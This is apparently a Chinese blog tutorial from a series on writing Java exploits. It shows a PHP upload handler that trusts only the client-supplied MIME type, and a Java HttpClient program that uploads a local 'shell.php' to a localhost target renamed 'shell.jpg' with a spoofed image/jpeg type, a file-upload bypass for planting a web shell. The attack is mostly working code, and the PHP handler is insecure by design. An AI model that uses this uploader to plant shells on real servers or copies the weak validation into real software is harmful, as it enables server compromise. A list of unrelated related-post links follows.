JAVA-Exploit编写(3)--httpcomponents库使用文件上传

目录

1.依赖安装

[2. upload文件代码](#2. upload文件代码)

3.文件上传代码


1.依赖安装

文件上传处需要使用httpcomponents库,需要在Maven的pom.xml文件中导入依赖

java 复制代码
<dependency>
      <groupId>org.apache.httpcomponents</groupId>
      <artifactId>httpmime</artifactId>
      <version>4.5.8</version>
</dependency>

2. upload文件代码

php 复制代码
<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {
    if ($_FILES["file"]["error"] > 0) {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    } else {
        if (file_exists("uploads/" . $_FILES["file"]["name"])) {
            echo $_FILES["file"]["name"] . " already exists. ";
        } else {
            move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
            echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
        }
    }
} else {
    echo "Invalid file";
}
?>

3.文件上传代码

还是在之前的基础上,增加了一个文件上传的文件类,请求方式通过POST方式,使用try-catch处理异常.

java 复制代码
package com.deger;

import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.mime.MultipartEntityBuilder;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;

import java.io.File;
import java.io.IOException;

public class HttpClientUpload {
    public static void main(String[] args){
        System.out.println(DoUpload("http://127.0.0.1/upload.php"));
    }
    public static String DoUpload(String url){
        String res = null;
        CloseableHttpClient httpClient = null;
        CloseableHttpResponse response = null;

        httpClient = HttpClients.createDefault();
        //上传的文件的本地路径
        File file = new File("D:\\phpstudy_pro\\WWW\\shell.php");
        MultipartEntityBuilder builder = MultipartEntityBuilder.create();
//        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), file.getName()));
        //更改上传文件的名称
        builder.addPart("file", new FileBody(file, ContentType.create("image/jpeg"), "shell.jpg"));

        HttpPost httpPost = new HttpPost(url);
        httpPost.setEntity(builder.build());
        try {
            response = httpClient.execute(httpPost);
            if (response.getStatusLine().getStatusCode() == 200) {
                res = EntityUtils.toString(response.getEntity());
            }
        } catch (IOException e) {
            throw new RuntimeException(e);
        }finally {
            try {
                httpClient.close();
                response.close();
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
        return res;
    }
}
相关推荐
JIngJaneIL10 小时前
基于Java非遗传承文化管理系统(源码+数据库+文档)
java·开发语言·数据库·vue.js·spring boot
南部余额10 小时前
踩坑与解惑:深入理解 SpringBoot 自动配置原理与配置排除机制
java·spring boot·自动配置原理·import
木鹅.11 小时前
LangChain4j
java
永远都不秃头的程序员(互关)12 小时前
Java核心技术精要:高效实践指南
java·开发语言·性能优化
CoderYanger12 小时前
动态规划算法-子序列问题(数组中不连续的一段):28.摆动序列
java·算法·leetcode·动态规划·1024程序员节
代码栈上的思考12 小时前
深入解析Spring IoC核心与关键注解
java·后端·spring
Mai Dang12 小时前
SpringBoot4用Swagger
java
geekmice14 小时前
实现一个功能:springboot项目启动将controller地址拼接打印到txt文件
java·spring boot·后端
老华带你飞14 小时前
旅游|基于Java旅游信息系统(源码+数据库+文档)
java·开发语言·数据库·vue.js·spring boot·旅游